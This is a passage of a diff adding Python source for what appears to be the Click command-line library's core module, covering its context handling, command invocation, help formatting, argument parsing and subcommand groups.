The context manager to enter. + :return: Whatever ``context_manager.__enter__()`` returns. + + .. versionadded:: 8.0 + """ + return self._exit_stack.enter_context(context_manager) + + def call_on_close(self, f: t.Callable[..., t.Any]) -> t.Callable[..., t.Any]: + """Register a function to be called when the context tears down. + + This can be used to close resources opened during the script + execution. Resources that support Python's context manager + protocol which would be used in a ``with`` statement should be + registered with :meth:`with_resource` instead. + + :param f: The function to execute on teardown. + """ + return self._exit_stack.callback(f) + + def close(self) -> None: + """Invoke all close callbacks registered with + :meth:`call_on_close`, and exit all context managers entered + with :meth:`with_resource`. + """ + self._exit_stack.close() + # In case the context is reused, create a new exit stack. + self._exit_stack = ExitStack() + + @property + def command_path(self) -> str: + """The computed command path. This is used for the ``usage`` + information on the help page. It's automatically created by + combining the info names of the chain of contexts to the root. + """ + rv = "" + if self.info_name is not None: + rv = self.info_name + if self.parent is not None: + parent_command_path = [self.parent.command_path] + + if isinstance(self.parent.command, Command): + for param in self.parent.command.get_params(self): + parent_command_path.extend(param.get_usage_pieces(self)) + + rv = f"{' '.join(parent_command_path)} {rv}" + return rv.lstrip() + + def find_root(self) -> "Context": + """Finds the outermost context.""" + node = self + while node.parent is not None: + node = node.parent + return node + + def find_object(self, object_type: t.Type[V]) -> t.Optional[V]: + """Finds the closest object of a given type.""" + node: t.Optional["Context"] = self + + while node is not None: + if isinstance(node.obj, object_type): + return node.obj + + node = node.parent + + return None + + def ensure_object(self, object_type: t.Type[V]) -> V: + """Like :meth:`find_object` but sets the innermost object to a + new instance of `object_type` if it does not exist. + """ + rv = self.find_object(object_type) + if rv is None: + self.obj = rv = object_type() + return rv + + @t.overload + def lookup_default( + self, name: str, call: "te.Literal[True]" = True + ) -> t.Optional[t.Any]: + ... + + @t.overload + def lookup_default( + self, name: str, call: "te.Literal[False]" = ... + ) -> t.Optional[t.Union[t.Any, t.Callable[[], t.Any]]]: + ... + + def lookup_default(self, name: str, call: bool = True) -> t.Optional[t.Any]: + """Get the default for a parameter from :attr:`default_map`. + + :param name: Name of the parameter. + :param call: If the default is a callable, call it. Disable to + return the callable instead. + + .. versionchanged:: 8.0 + Added the ``call`` parameter. + """ + if self.default_map is not None: + value = self.default_map.get(name) + + if call and callable(value): + return value() + + return value + + return None + + def fail(self, message: str) -> "te.NoReturn": + """Aborts the execution of the program with a specific error + message. + + :param message: the error message to fail with. + """ + raise UsageError(message, self) + + def abort(self) -> "te.NoReturn": + """Aborts the script.""" + raise Abort() + + def exit(self, code: int = 0) -> "te.NoReturn": + """Exits the application with a given exit code.""" + raise Exit(code) + + def get_usage(self) -> str: + """Helper method to get formatted usage string for the current + context and command. + """ + return self.command.get_usage(self) + + def get_help(self) -> str: + """Helper method to get formatted help page for the current + context and command. + """ + return self.command.get_help(self) + + def _make_sub_context(self, command: "Command") -> "Context": + """Create a new context of the same type as this context, but + for a new command. + + :meta private: + """ + return type(self)(command, info_name=command.name, parent=self) + + def invoke( + __self, # noqa: B902 + __callback: t.Union["Command", t.Callable[..., t.Any]], + *args: t.Any, + **kwargs: t.Any, + ) -> t.Any: + """Invokes a command callback in exactly the way it expects. There + are two ways to invoke this method: + + 1. the first argument can be a callback and all other arguments and + keyword arguments are forwarded directly to the function. + 2. the first argument is a click command object. In that case all + arguments are forwarded as well but proper click parameters + (options and click arguments) must be keyword arguments and Click + will fill in defaults. + + Note that before Click 3.2 keyword arguments were not properly filled + in against the intention of this code and no context was created. For + more information about this change and why it was done in a bugfix + release see :ref:`upgrade-to-3.2`. + + .. versionchanged:: 8.0 + All ``kwargs`` are tracked in :attr:`params` so they will be + passed if :meth:`forward` is called at multiple levels. + """ + if isinstance(__callback, Command): + other_cmd = __callback + + if other_cmd.callback is None: + raise TypeError( + "The given command does not have a callback that can be invoked." + ) + else: + __callback = other_cmd.callback + + ctx = __self._make_sub_context(other_cmd) + + for param in other_cmd.params: + if param.name not in kwargs and param.expose_value: + kwargs[param.name] = param.type_cast_value( # type: ignore + ctx, param.get_default(ctx) + ) + + # Track all kwargs as params, so that forward() will pass + # them on in subsequent calls. + ctx.params.update(kwargs) + else: + ctx = __self + + with augment_usage_errors(__self): + with ctx: + return __callback(*args, **kwargs) + + def forward( + __self, __cmd: "Command", *args: t.Any, **kwargs: t.Any # noqa: B902 + ) -> t.Any: + """Similar to :meth:`invoke` but fills in default keyword + arguments from the current context if the other command expects + it. This cannot invoke callbacks directly, only other commands. + + .. versionchanged:: 8.0 + All ``kwargs`` are tracked in :attr:`params` so they will be + passed if ``forward`` is called at multiple levels. + """ + # Can only forward to other commands, not direct callbacks. + if not isinstance(__cmd, Command): + raise TypeError("Callback is not a command.") + + for param in __self.params: + if param not in kwargs: + kwargs[param] = __self.params[param] + + return __self.invoke(__cmd, *args, **kwargs) + + def set_parameter_source(self, name: str, source: ParameterSource) -> None: + """Set the source of a parameter. This indicates the location + from which the value of the parameter was obtained. + + :param name: The name of the parameter. + :param source: A member of :class:`~click.core.ParameterSource`. + """ + self._parameter_source[name] = source + + def get_parameter_source(self, name: str) -> t.Optional[ParameterSource]: + """Get the source of a parameter. This indicates the location + from which the value of the parameter was obtained. + + This can be useful for determining when a user specified a value + on the command line that is the same as the default value. It + will be :attr:`~click.core.ParameterSource.DEFAULT` only if the + value was actually taken from the default. + + :param name: The name of the parameter. + :rtype: ParameterSource + + .. versionchanged:: 8.0 + Returns ``None`` if the parameter was not provided from any + source. + """ + return self._parameter_source.get(name) + + +class BaseCommand: + """The base command implements the minimal API contract of commands. + Most code will never use this as it does not implement a lot of useful + functionality but it can act as the direct subclass of alternative + parsing methods that do not depend on the Click parser. + + For instance, this can be used to bridge Click and other systems like + argparse or docopt. + + Because base commands do not implement a lot of the API that other + parts of Click take for granted, they are not supported for all + operations. For instance, they cannot be used with the decorators + usually and they have no built-in callback system. + + .. versionchanged:: 2.0 + Added the `context_settings` parameter. + + :param name: the name of the command to use unless a group overrides it. + :param context_settings: an optional dictionary with defaults that are + passed to the context object. + """ + + #: The context class to create with :meth:`make_context`. + #: + #: .. versionadded:: 8.0 + context_class: t.Type[Context] = Context + #: the default for the :attr:`Context.allow_extra_args` flag. + allow_extra_args = False + #: the default for the :attr:`Context.allow_interspersed_args` flag. + allow_interspersed_args = True + #: the default for the :attr:`Context.ignore_unknown_options` flag. + ignore_unknown_options = False + + def __init__( + self, + name: t.Optional[str], + context_settings: t.Optional[t.Dict[str, t.Any]] = None, + ) -> None: + #: the name the command thinks it has. Upon registering a command + #: on a :class:`Group` the group will default the command name + #: with this information. You should instead use the + #: :class:`Context`\'s :attr:`~Context.info_name` attribute. + self.name = name + + if context_settings is None: + context_settings = {} + + #: an optional dictionary with defaults passed to the context. + self.context_settings: t.Dict[str, t.Any] = context_settings + + def to_info_dict(self, ctx: Context) -> t.Dict[str, t.Any]: + """Gather information that could be useful for a tool generating + user-facing documentation. This traverses the entire structure + below this command. + + Use :meth:`click.Context.to_info_dict` to traverse the entire + CLI structure. + + :param ctx: A :class:`Context` representing this command. + + .. versionadded:: 8.0 + """ + return {"name": self.name} + + def __repr__(self) -> str: + return f"<{self.__class__.__name__} {self.name}>" + + def get_usage(self, ctx: Context) -> str: + raise NotImplementedError("Base commands cannot get usage") + + def get_help(self, ctx: Context) -> str: + raise NotImplementedError("Base commands cannot get help") + + def make_context( + self, + info_name: t.Optional[str], + args: t.List[str], + parent: t.Optional[Context] = None, + **extra: t.Any, + ) -> Context: + """This function when given an info name and arguments will kick + off the parsing and create a new :class:`Context`. It does not + invoke the actual command callback though. + + To quickly customize the context class used without overriding + this method, set the :attr:`context_class` attribute. + + :param info_name: the info name for this invocation. Generally this + is the most descriptive name for the script or + command. For the toplevel script it's usually + the name of the script, for commands below it it's + the name of the command. + :param args: the arguments to parse as list of strings. + :param parent: the parent context if available. + :param extra: extra keyword arguments forwarded to the context + constructor. + + .. versionchanged:: 8.0 + Added the :attr:`context_class` attribute. + """ + for key, value in self.context_settings.items(): + if key not in extra: + extra[key] = value + + ctx = self.context_class( + self, info_name=info_name, parent=parent, **extra # type: ignore + ) + + with ctx.scope(cleanup=False): + self.parse_args(ctx, args) + return ctx + + def parse_args(self, ctx: Context, args: t.List[str]) -> t.List[str]: + """Given a context and a list of arguments this creates the parser + and parses the arguments, then modifies the context as necessary. + This is automatically invoked by :meth:`make_context`. + """ + raise NotImplementedError("Base commands do not know how to parse arguments.") + + def invoke(self, ctx: Context) -> t.Any: + """Given a context, this invokes the command. The default + implementation is raising a not implemented error. + """ + raise NotImplementedError("Base commands are not invokable by default") + + def shell_complete(self, ctx: Context, incomplete: str) -> t.List["CompletionItem"]: + """Return a list of completions for the incomplete value. Looks + at the names of chained multi-commands. + + Any command could be part of a chained multi-command, so sibling + commands are valid at any point during command completion. Other + command classes will return more completions. + + :param ctx: Invocation context for this command. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + results: t.List["CompletionItem"] = [] + + while ctx.parent is not None: + ctx = ctx.parent + + if isinstance(ctx.command, MultiCommand) and ctx.command.chain: + results.extend( + CompletionItem(name, help=command.get_short_help_str()) + for name, command in _complete_visible_commands(ctx, incomplete) + if name not in ctx.protected_args + ) + + return results + + @t.overload + def main( + self, + args: t.Optional[t.Sequence[str]] = None, + prog_name: t.Optional[str] = None, + complete_var: t.Optional[str] = None, + standalone_mode: "te.Literal[True]" = True, + **extra: t.Any, + ) -> "te.NoReturn": + ... + + @t.overload + def main( + self, + args: t.Optional[t.Sequence[str]] = None, + prog_name: t.Optional[str] = None, + complete_var: t.Optional[str] = None, + standalone_mode: bool = ..., + **extra: t.Any, + ) -> t.Any: + ... + + def main( + self, + args: t.Optional[t.Sequence[str]] = None, + prog_name: t.Optional[str] = None, + complete_var: t.Optional[str] = None, + standalone_mode: bool = True, + windows_expand_args: bool = True, + **extra: t.Any, + ) -> t.Any: + """This is the way to invoke a script with all the bells and + whistles as a command line application. This will always terminate + the application after a call. If this is not wanted, ``SystemExit`` + needs to be caught. + + This method is also available by directly calling the instance of + a :class:`Command`. + + :param args: the arguments that should be used for parsing. If not + provided, ``sys.argv[1:]`` is used. + :param prog_name: the program name that should be used. By default + the program name is constructed by taking the file + name from ``sys.argv[0]``. + :param complete_var: the environment variable that controls the + bash completion support. The default is + ``"__COMPLETE"`` with prog_name in + uppercase. + :param standalone_mode: the default behavior is to invoke the script + in standalone mode. Click will then + handle exceptions and convert them into + error messages and the function will never + return but shut down the interpreter. If + this is set to `False` they will be + propagated to the caller and the return + value of this function is the return value + of :meth:`invoke`. + :param windows_expand_args: Expand glob patterns, user dir, and + env vars in command line args on Windows. + :param extra: extra keyword arguments are forwarded to the context + constructor. See :class:`Context` for more information. + + .. versionchanged:: 8.0.1 + Added the ``windows_expand_args`` parameter to allow + disabling command line arg expansion on Windows. + + .. versionchanged:: 8.0 + When taking arguments from ``sys.argv`` on Windows, glob + patterns, user dir, and env vars are expanded. + + .. versionchanged:: 3.0 + Added the ``standalone_mode`` parameter. + """ + if args is None: + args = sys.argv[1:] + + if os.name == "nt" and windows_expand_args: + args = _expand_args(args) + else: + args = list(args) + + if prog_name is None: + prog_name = _detect_program_name() + + # Process shell completion requests and exit early. + self._main_shell_completion(extra, prog_name, complete_var) + + try: + try: + with self.make_context(prog_name, args, **extra) as ctx: + rv = self.invoke(ctx) + if not standalone_mode: + return rv + # it's not safe to `ctx.exit(rv)` here! + # note that `rv` may actually contain data like "1" which + # has obvious effects + # more subtle case: `rv=[None, None]` can come out of + # chained commands which all returned `None` -- so it's not + # even always obvious that `rv` indicates success/failure + # by its truthiness/falsiness + ctx.exit() + except (EOFError, KeyboardInterrupt): + echo(file=sys.stderr) + raise Abort() from None + except ClickException as e: + if not standalone_mode: + raise + e.show() + sys.exit(e.exit_code) + except OSError as e: + if e.errno == errno.EPIPE: + sys.stdout = t.cast(t.TextIO, PacifyFlushWrapper(sys.stdout)) + sys.stderr = t.cast(t.TextIO, PacifyFlushWrapper(sys.stderr)) + sys.exit(1) + else: + raise + except Exit as e: + if standalone_mode: + sys.exit(e.exit_code) + else: + # in non-standalone mode, return the exit code + # note that this is only reached if `self.invoke` above raises + # an Exit explicitly -- thus bypassing the check there which + # would return its result + # the results of non-standalone execution may therefore be + # somewhat ambiguous: if there are codepaths which lead to + # `ctx.exit(1)` and to `return 1`, the caller won't be able to + # tell the difference between the two + return e.exit_code + except Abort: + if not standalone_mode: + raise + echo(_("Aborted!"), file=sys.stderr) + sys.exit(1) + + def _main_shell_completion( + self, + ctx_args: t.Dict[str, t.Any], + prog_name: str, + complete_var: t.Optional[str] = None, + ) -> None: + """Check if the shell is asking for tab completion, process + that, then exit early. Called from :meth:`main` before the + program is invoked. + + :param prog_name: Name of the executable in the shell. + :param complete_var: Name of the environment variable that holds + the completion instruction. Defaults to + ``_{PROG_NAME}_COMPLETE``. + """ + if complete_var is None: + complete_var = f"_{prog_name}_COMPLETE".replace("-", "_").upper() + + instruction = os.environ.get(complete_var) + + if not instruction: + return + + from .shell_completion import shell_complete + + rv = shell_complete(self, ctx_args, prog_name, complete_var, instruction) + sys.exit(rv) + + def __call__(self, *args: t.Any, **kwargs: t.Any) -> t.Any: + """Alias for :meth:`main`.""" + return self.main(*args, **kwargs) + + +class Command(BaseCommand): + """Commands are the basic building block of command line interfaces in + Click. A basic command handles command line parsing and might dispatch + more parsing to commands nested below it. + + :param name: the name of the command to use unless a group overrides it. + :param context_settings: an optional dictionary with defaults that are + passed to the context object. + :param callback: the callback to invoke. This is optional. + :param params: the parameters to register with this command. This can + be either :class:`Option` or :class:`Argument` objects. + :param help: the help string to use for this command. + :param epilog: like the help string but it's printed at the end of the + help page after everything else. + :param short_help: the short help to use for this command. This is + shown on the command listing of the parent command. + :param add_help_option: by default each command registers a ``--help`` + option. This can be disabled by this parameter. + :param no_args_is_help: this controls what happens if no arguments are + provided. This option is disabled by default. + If enabled this will add ``--help`` as argument + if no arguments are passed + :param hidden: hide this command from help outputs. + + :param deprecated: issues a message indicating that + the command is deprecated. + + .. versionchanged:: 8.1 + ``help``, ``epilog``, and ``short_help`` are stored unprocessed, + all formatting is done when outputting help text, not at init, + and is done even if not using the ``@command`` decorator. + + .. versionchanged:: 8.0 + Added a ``repr`` showing the command name. + + .. versionchanged:: 7.1 + Added the ``no_args_is_help`` parameter. + + .. versionchanged:: 2.0 + Added the ``context_settings`` parameter. + """ + + def __init__( + self, + name: t.Optional[str], + context_settings: t.Optional[t.Dict[str, t.Any]] = None, + callback: t.Optional[t.Callable[..., t.Any]] = None, + params: t.Optional[t.List["Parameter"]] = None, + help: t.Optional[str] = None, + epilog: t.Optional[str] = None, + short_help: t.Optional[str] = None, + options_metavar: t.Optional[str] = "[OPTIONS]", + add_help_option: bool = True, + no_args_is_help: bool = False, + hidden: bool = False, + deprecated: bool = False, + ) -> None: + super().__init__(name, context_settings) + #: the callback to execute when the command fires. This might be + #: `None` in which case nothing happens. + self.callback = callback + #: the list of parameters for this command in the order they + #: should show up in the help page and execute. Eager parameters + #: will automatically be handled before non eager ones. + self.params: t.List["Parameter"] = params or [] + self.help = help + self.epilog = epilog + self.options_metavar = options_metavar + self.short_help = short_help + self.add_help_option = add_help_option + self.no_args_is_help = no_args_is_help + self.hidden = hidden + self.deprecated = deprecated + + def to_info_dict(self, ctx: Context) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict(ctx) + info_dict.update( + params=[param.to_info_dict() for param in self.get_params(ctx)], + help=self.help, + epilog=self.epilog, + short_help=self.short_help, + hidden=self.hidden, + deprecated=self.deprecated, + ) + return info_dict + + def get_usage(self, ctx: Context) -> str: + """Formats the usage line into a string and returns it. + + Calls :meth:`format_usage` internally. + """ + formatter = ctx.make_formatter() + self.format_usage(ctx, formatter) + return formatter.getvalue().rstrip("\n") + + def get_params(self, ctx: Context) -> t.List["Parameter"]: + rv = self.params + help_option = self.get_help_option(ctx) + + if help_option is not None: + rv = [*rv, help_option] + + return rv + + def format_usage(self, ctx: Context, formatter: HelpFormatter) -> None: + """Writes the usage line into the formatter. + + This is a low-level method called by :meth:`get_usage`. + """ + pieces = self.collect_usage_pieces(ctx) + formatter.write_usage(ctx.command_path, " ".join(pieces)) + + def collect_usage_pieces(self, ctx: Context) -> t.List[str]: + """Returns all the pieces that go into the usage line and returns + it as a list of strings. + """ + rv = [self.options_metavar] if self.options_metavar else [] + + for param in self.get_params(ctx): + rv.extend(param.get_usage_pieces(ctx)) + + return rv + + def get_help_option_names(self, ctx: Context) -> t.List[str]: + """Returns the names for the help option.""" + all_names = set(ctx.help_option_names) + for param in self.params: + all_names.difference_update(param.opts) + all_names.difference_update(param.secondary_opts) + return list(all_names) + + def get_help_option(self, ctx: Context) -> t.Optional["Option"]: + """Returns the help option object.""" + help_options = self.get_help_option_names(ctx) + + if not help_options or not self.add_help_option: + return None + + def show_help(ctx: Context, param: "Parameter", value: str) -> None: + if value and not ctx.resilient_parsing: + echo(ctx.get_help(), color=ctx.color) + ctx.exit() + + return Option( + help_options, + is_flag=True, + is_eager=True, + expose_value=False, + callback=show_help, + help=_("Show this message and exit."), + ) + + def make_parser(self, ctx: Context) -> OptionParser: + """Creates the underlying option parser for this command.""" + parser = OptionParser(ctx) + for param in self.get_params(ctx): + param.add_to_parser(parser, ctx) + return parser + + def get_help(self, ctx: Context) -> str: + """Formats the help into a string and returns it. + + Calls :meth:`format_help` internally. + """ + formatter = ctx.make_formatter() + self.format_help(ctx, formatter) + return formatter.getvalue().rstrip("\n") + + def get_short_help_str(self, limit: int = 45) -> str: + """Gets short help for the command or makes it by shortening the + long help string. + """ + if self.short_help: + text = inspect.cleandoc(self.short_help) + elif self.help: + text = make_default_short_help(self.help, limit) + else: + text = "" + + if self.deprecated: + text = _("(Deprecated) {text}").format(text=text) + + return text.strip() + + def format_help(self, ctx: Context, formatter: HelpFormatter) -> None: + """Writes the help into the formatter if it exists. + + This is a low-level method called by :meth:`get_help`. + + This calls the following methods: + + - :meth:`format_usage` + - :meth:`format_help_text` + - :meth:`format_options` + - :meth:`format_epilog` + """ + self.format_usage(ctx, formatter) + self.format_help_text(ctx, formatter) + self.format_options(ctx, formatter) + self.format_epilog(ctx, formatter) + + def format_help_text(self, ctx: Context, formatter: HelpFormatter) -> None: + """Writes the help text to the formatter if it exists.""" + text = self.help if self.help is not None else "" + + if self.deprecated: + text = _("(Deprecated) {text}").format(text=text) + + if text: + text = inspect.cleandoc(text).partition("\f")[0] + formatter.write_paragraph() + + with formatter.indentation(): + formatter.write_text(text) + + def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: + """Writes all the options into the formatter if they exist.""" + opts = [] + for param in self.get_params(ctx): + rv = param.get_help_record(ctx) + if rv is not None: + opts.append(rv) + + if opts: + with formatter.section(_("Options")): + formatter.write_dl(opts) + + def format_epilog(self, ctx: Context, formatter: HelpFormatter) -> None: + """Writes the epilog into the formatter if it exists.""" + if self.epilog: + epilog = inspect.cleandoc(self.epilog) + formatter.write_paragraph() + + with formatter.indentation(): + formatter.write_text(epilog) + + def parse_args(self, ctx: Context, args: t.List[str]) -> t.List[str]: + if not args and self.no_args_is_help and not ctx.resilient_parsing: + echo(ctx.get_help(), color=ctx.color) + ctx.exit() + + parser = self.make_parser(ctx) + opts, args, param_order = parser.parse_args(args=args) + + for param in iter_params_for_processing(param_order, self.get_params(ctx)): + value, args = param.handle_parse_result(ctx, opts, args) + + if args and not ctx.allow_extra_args and not ctx.resilient_parsing: + ctx.fail( + ngettext( + "Got unexpected extra argument ({args})", + "Got unexpected extra arguments ({args})", + len(args), + ).format(args=" ".join(map(str, args))) + ) + + ctx.args = args + ctx._opt_prefixes.update(parser._opt_prefixes) + return args + + def invoke(self, ctx: Context) -> t.Any: + """Given a context, this invokes the attached callback (if it exists) + in the right way. + """ + if self.deprecated: + message = _( + "DeprecationWarning: The command {name!r} is deprecated." + ).format(name=self.name) + echo(style(message, fg="red"), err=True) + + if self.callback is not None: + return ctx.invoke(self.callback, **ctx.params) + + def shell_complete(self, ctx: Context, incomplete: str) -> t.List["CompletionItem"]: + """Return a list of completions for the incomplete value. Looks + at the names of options and chained multi-commands. + + :param ctx: Invocation context for this command. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + results: t.List["CompletionItem"] = [] + + if incomplete and not incomplete[0].isalnum(): + for param in self.get_params(ctx): + if ( + not isinstance(param, Option) + or param.hidden + or ( + not param.multiple + and ctx.get_parameter_source(param.name) # type: ignore + is ParameterSource.COMMANDLINE + ) + ): + continue + + results.extend( + CompletionItem(name, help=param.help) + for name in [*param.opts, *param.secondary_opts] + if name.startswith(incomplete) + ) + + results.extend(super().shell_complete(ctx, incomplete)) + return results + + +class MultiCommand(Command): + """A multi command is the basic implementation of a command that + dispatches to subcommands. The most common version is the + :class:`Group`. + + :param invoke_without_command: this controls how the multi command itself + is invoked. By default it's only invoked + if a subcommand is provided. + :param no_args_is_help: this controls what happens if no arguments are + provided. This option is enabled by default if + `invoke_without_command` is disabled or disabled + if it's enabled. If enabled this will add + ``--help`` as argument if no arguments are + passed. + :param subcommand_metavar: the string that is used in the documentation + to indicate the subcommand place. + :param chain: if this is set to `True` chaining of multiple subcommands + is enabled. This restricts the form of commands in that + they cannot have optional arguments but it allows + multiple commands to be chained together. + :param result_callback: The result callback to attach to this multi + command. This can be set or changed later with the + :meth:`result_callback` decorator. + """ + + allow_extra_args = True + allow_interspersed_args = False + + def __init__( + self, + name: t.Optional[str] = None, + invoke_without_command: bool = False, + no_args_is_help: t.Optional[bool] = None, + subcommand_metavar: t.Optional[str] = None, + chain: bool = False, + result_callback: t.Optional[t.Callable[..., t.Any]] = None, + **attrs: t.Any, + ) -> None: + super().__init__(name, **attrs) + + if no_args_is_help is None: + no_args_is_help = not invoke_without_command + + self.no_args_is_help = no_args_is_help + self.invoke_without_command = invoke_without_command + + if subcommand_metavar is None: + if chain: + subcommand_metavar = "COMMAND1 [ARGS]... [COMMAND2 [ARGS]...]..." + else: + subcommand_metavar = "COMMAND [ARGS]..." + + self.subcommand_metavar = subcommand_metavar + self.chain = chain + # The result callback that is stored. This can be set or + # overridden with the :func:`result_callback` decorator. + self._result_callback = result_callback + + if self.chain: + for param in self.params: + if isinstance(param, Argument) and not param.required: + raise RuntimeError( + "Multi commands in chain mode cannot have" + " optional arguments." + ) + + def to_info_dict(self, ctx: Context) -> t.Dict[str, t.Any]: + info_dict = super().to_info_dict(ctx) + commands = {} + + for name in self.list_commands(ctx): + command = self.get_command(ctx, name) + + if command is None: + continue + + sub_ctx = ctx._make_sub_context(command) + + with sub_ctx.scope(cleanup=False): + commands[name] = command.to_info_dict(sub_ctx) + + info_dict.update(commands=commands, chain=self.chain) + return info_dict + + def collect_usage_pieces(self, ctx: Context) -> t.List[str]: + rv = super().collect_usage_pieces(ctx) + rv.append(self.subcommand_metavar) + return rv + + def format_options(self, ctx: Context, formatter: HelpFormatter) -> None: + super().format_options(ctx, formatter) + self.format_commands(ctx, formatter) + + def result_callback(self, replace: bool = False) -> t.Callable[[F], F]: + """Adds a result callback to the command. By default if a + result callback is already registered this will chain them but + this can be disabled with the `replace` parameter. The result + callback is invoked with the return value of the subcommand + (or the list of return values from all subcommands if chaining + is enabled) as well as the parameters as they would be passed + to the main callback. + + Example:: + + @click.group() + @click.option('-i', '--input', default=23) + def cli(input): + return 42 + + @cli.result_callback() + def process_result(result, input): + return result + input + + :param replace: if set to `True` an already existing result + callback will be removed. + + .. versionchanged:: 8.0 + Renamed from ``resultcallback``. + + .. versionadded:: 3.0 + """ + + def decorator(f: F) -> F: + old_callback = self._result_callback + + if old_callback is None or replace: + self._result_callback = f + return f + + def function(__value, *args, **kwargs): # type: ignore + inner = old_callback(__value, *args, **kwargs) # type: ignore + return f(inner, *args, **kwargs) + + self._result_callback = rv = update_wrapper(t.cast(F, function), f) + return rv + + return decorator + + def format_commands(self, ctx: Context, formatter: HelpFormatter) -> None: + """Extra format methods for multi methods that adds all the commands + after the options. + """ + commands = [] + for subcommand in self.list_commands(ctx): + cmd = self.get_command(ctx, subcommand) + # What is this, the tool lied about a command. Ignore it + if cmd is None: + continue + if cmd.hidden: + continue + + commands.append((subcommand, cmd)) + + # allow for 3 times the default spacing + if len(commands): + limit = formatter.width - 6 - max(len(cmd[0]) for cmd in commands) + + rows = [] + for subcommand, cmd in commands: + help = cmd.get_short_help_str(limit) + rows.append((subcommand, help)) + + if rows: + with formatter.section(_("Commands")): + formatter.write_dl(rows) + + def parse_args(self, ctx: Context, args: t.List[str]) -> t.List[str]: + if not args and self.no_args_is_help and not ctx.resilient_parsing: + echo(ctx.get_help(), color=ctx.color) + ctx.exit() + + rest = super().parse_args(ctx, args) + + if self.chain: + ctx.protected_args = rest + ctx.args = [] + elif rest: + ctx.protected_args, ctx.args = rest[:1], rest[1:] + + return ctx.args + + def invoke(self, ctx: Context) -> t.Any: + def _process_result(value: t.Any) -> t.Any: + if self._result_callback is not None: + value = ctx.invoke(self._result_callback, value, **ctx.params) + return value + + if not ctx.protected_args: + if self.invoke_without_command: + # No subcommand was invoked, so the result callback is + # invoked with the group return value for regular + # groups, or an empty list for chained groups. + with ctx: + rv = super().invoke(ctx) + return _process_result([] if self.chain else rv) + ctx.fail(_("Missing command.")) + + # Fetch args back out + args = [*ctx.protected_args, *ctx.args] + ctx.args = [] + ctx.protected_args = [] + + # If we're not in chain mode, we only allow the invocation of a + # single command but we also inform the current context about the + # name of the command to invoke. + if not self.chain: + # Make sure the context is entered so we do not clean up + # resources until the result processor has worked. + with ctx: + cmd_name, cmd, args = self.resolve_command(ctx, args) + assert cmd is not None + ctx.invoked_subcommand = cmd_name + super().invoke(ctx) + sub_ctx = cmd.make_context(cmd_name, args, parent=ctx) + with sub_ctx: + return _process_result(sub_ctx.command.invoke(sub_ctx)) + + # In chain mode we create the contexts step by step, but after the + # base command has been invoked. Because at that point we do not + # know the subcommands yet, the invoked subcommand attribute is + # set to ``*`` to inform the command that subcommands are executed + # but nothing else. + with ctx: + ctx.invoked_subcommand = "*" if args else None + super().invoke(ctx) + + # Otherwise we make every single context and invoke them in a + # chain. In that case the return value to the result processor + # is the list of all invoked subcommand's results. + contexts = [] + while args: + cmd_name, cmd, args = self.resolve_command(ctx, args) + assert cmd is not None + sub_ctx = cmd.make_context( + cmd_name, + args, + parent=ctx, + allow_extra_args=True, + allow_interspersed_args=False, + ) + contexts.append(sub_ctx) + args, sub_ctx.args = sub_ctx.args, [] + + rv = [] + for sub_ctx in contexts: + with sub_ctx: + rv.append(sub_ctx.command.invoke(sub_ctx)) + return _process_result(rv) + + def resolve_command( + self, ctx: Context, args: t.List[str] + ) -> t.Tuple[t.Optional[str], t.Optional[Command], t.List[str]]: + cmd_name = make_str(args[0]) + original_cmd_name = cmd_name + + # Get the command + cmd = self.get_command(ctx, cmd_name) + + # If we can't find the command but there is a normalization + # function available, we try with that one. + if cmd is None and ctx.token_normalize_func is not None: + cmd_name = ctx.token_normalize_func(cmd_name) + cmd = self.get_command(ctx, cmd_name) + + # If we don't find the command we want to show an error message + # to the user that it was not provided. However, there is + # something else we should do: if the first argument looks like + # an option we want to kick off parsing again for arguments to + # resolve things like --help which now should go to the main + # place. + if cmd is None and not ctx.resilient_parsing: + if split_opt(cmd_name)[0]: + self.parse_args(ctx, ctx.args) + ctx.fail(_("No such command {name!r}.").format(name=original_cmd_name)) + return cmd_name if cmd else None, cmd, args[1:] + + def get_command(self, ctx: Context, cmd_name: str) -> t.Optional[Command]: + """Given a context and a command name, this returns a + :class:`Command` object if it exists or returns `None`. + """ + raise NotImplementedError + + def list_commands(self, ctx: Context) -> t.List[str]: + """Returns a list of subcommand names in the order they should + appear. + """ + return [] + + def shell_complete(self, ctx: Context, incomplete: str) -> t.List["CompletionItem"]: + """Return a list of completions for the incomplete value. Looks + at the names of options, subcommands, and chained + multi-commands. + + :param ctx: Invocation context for this command. + :param incomplete: Value being completed. May be empty. + + .. versionadded:: 8.0 + """ + from click.shell_completion import CompletionItem + + results = [ + CompletionItem(name, help=command.get_short_help_str()) + for name, command in _complete_visible_commands(ctx, incomplete) + ] + results.extend(super().shell_complete(ctx, incomplete)) + return results + + +class Group(MultiCommand): + """A group allows a command to have subcommands attached. This is + the most common way to implement nesting in Click. + + :param name: The name of the group command. + :param commands: A dict mapping names to :class:`Command` objects. + Can also be a list of :class:`Command`, which will use + :attr:`Command.name` to create the dict. + :param attrs: Other command arguments described in + :class:`MultiCommand`, :class:`Command`, and + :class:`BaseCommand`. + + .. versionchanged:: 8.0 + The ``commmands`` argument can be a list of command objects. + """ + + #: If set, this is used by the group's :meth:`command` decorator + #: as the default :class:`Command` class. This is useful to make all + #: subcommands use a custom command class. + #: + #: .. versionadded:: 8.0 + command_class: t.Optional[t.Type[Command]] = None + + #: If set, this is used by the group's :meth:`group` decorator + #: as the default :class:`Group` class. This is useful to make all + #: subgroups use a custom group class. + #: + #: If set to the special value :class:`type` (literally + #: ``group_class = type``), this group's class will be used as the + #: default class. This makes a custom group class continue to make + #: custom groups. + #: + #: .. versionadded:: 8.0 + group_class: t.Optional[t.Union[t.Type["Group"], t.Type[type]]] = None + # Literal[type] isn't valid, so use Type[type] + + def __init__( + self, + name: t.Optional[str] = None, + commands: t.Optional[t.Union[t.Dict[str, Command], t.Sequence[Command]]] = None, + **attrs: t.Any, + ) -> None: + super().__init__(name, **attrs) + + if commands is None: + commands = {} + elif isinstance(commands, abc.Sequence): + commands = {c.name: c for c in commands if c.name is not None} + + #: The registered subcommands by their exported names. + self.commands: t.Dict[str, Command] = commands + + def add_command(self, cmd: Command, name: t.Optional[str] = None) -> None: + """Registers another :class:`Command` with this group. If the name + is not provided, the name of the command is used. + """ + name = name or cmd.name + if name is None: + 